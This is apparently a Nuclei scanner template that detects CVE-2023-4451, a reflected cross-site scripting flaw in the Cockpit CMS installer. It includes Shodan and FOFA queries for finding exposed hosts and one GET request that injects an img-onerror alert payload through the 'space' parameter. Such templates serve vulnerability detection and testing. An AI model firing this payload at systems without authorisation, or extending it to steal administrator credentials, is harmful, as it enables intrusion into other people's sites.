id: CVE-2023-4451

info:
  name: Cockpit - Cross-Site Scripting
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the space parameter in the installation interface to steal administrator credentials during Cockpit CMS setup.
  remediation: |
    Update Cockpit to version 2.6.4 or later that properly sanitizes and encodes the space parameter in the install/index.php interface.
  reference:
    - https://huntr.dev/bounties/4e111c3e-6cf3-4b4c-b3c1-a540bf30f8fa/
    - https://github.com/Cockpit-HQ/Cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4451
    - https://github.com/cockpit-hq/cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4451
    cwe-id: CWE-79
    epss-score: 0.51541
    epss-percentile: 0.97929
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - html:"Cockpit"
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve2023,cve,huntr,cockpit,xss,agentejo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Space :<img src=1 onerror=alert(document.domain)>: does not exist"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ced7dcfd90ffe24e23ea2be985b55743158b3c1d74585d46705a52ad0d02d46902203f1ae701d5aa4aa5751addc60567cc7ca3e8aadb70a9a093b95096095b1848ab:922c64590222798bb761d5b6d8e72950